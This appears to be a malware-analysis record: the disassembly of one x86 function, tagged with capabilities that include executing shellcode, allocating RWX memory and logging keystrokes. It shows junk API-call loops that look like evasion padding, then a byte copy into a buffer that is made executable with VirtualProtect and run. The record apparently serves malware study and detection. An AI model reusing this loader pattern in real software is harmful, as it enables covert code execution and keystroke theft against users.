Function at 0x409d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Log keystrokes via polling
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
lea ebx, [ebx]
cmp dword [0x469184], 0xc31
jne 0x409d70
push 0
call ebx
call esi
dec edi
jne 0x409d60
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
nop
cmp esi, 0x562d05
jne 0x409d92
mov eax, dword [0x422d74]
mov dword [0x46950c], eax
cmp dword [0x469184], 0x3c
jne 0x409d9e
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x409d80
cmp dword [0x469184], 0x7c
jne 0x409e12
push ebx
push ebx
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp dword [0x469184], 0x2d
jne 0x409e00
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
fldz
sub esp, 8
fstp qword [esp]
call fcn.00401010
fstp st(0)
add esp, 8
cmp dword [0x469184], 0x110a
jne 0x409e6c
mov dword [0x469178], ebx
mov dword [0x46917c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040112d
push ebx
push ebx
call fcn.0040112d
push ebx
push ebx
call fcn.0040112d
add esp, 0x18
call fcn.00409ad0
xor esi, esi
cmp dword [0x469184], ebx
jbe 0x409ebb
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edx, dword [0x46950c]
mov dword [ebp - 4], edx
mov eax, 0xa231
add dword [ebp - 4], eax
cmp dword [0x469184], 0x5ab
mov eax, dword [ebp - 4]
mov cl, byte [eax + esi]
mov edx, dword [0x468ea8]
mov byte [edx + esi], cl
jne 0x409eb2
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x469184]
jb 0x409e81
call fcn.00409b00
mov ecx, dword [0x469184]
mov edx, dword [0x468ea8]
lea eax, [ebp - 8]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00409cd0
call fcn.00409af0
mov ebx, dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
nop
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x409f06
cmp ebx, 0xf5bed7
jne 0x409f0f
inc esi
cmp esi, 0x1ece7a52
jl 0x409ef0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x12e6c3
jne 0x409f2d
call fcn.00409ac0
cmp dword [0x469184], 0x3dc
mov dword [0x468eac], 0x8e46a6f0
jne 0x409f58
xor eax, eax
lea edx, [ebp - 0xc]
push edx
push eax
push eax
push eax
push eax
mov dword [ebp - 4], eax
call edi
lea ecx, [ebp - 0x10]
push ecx
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x409f20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret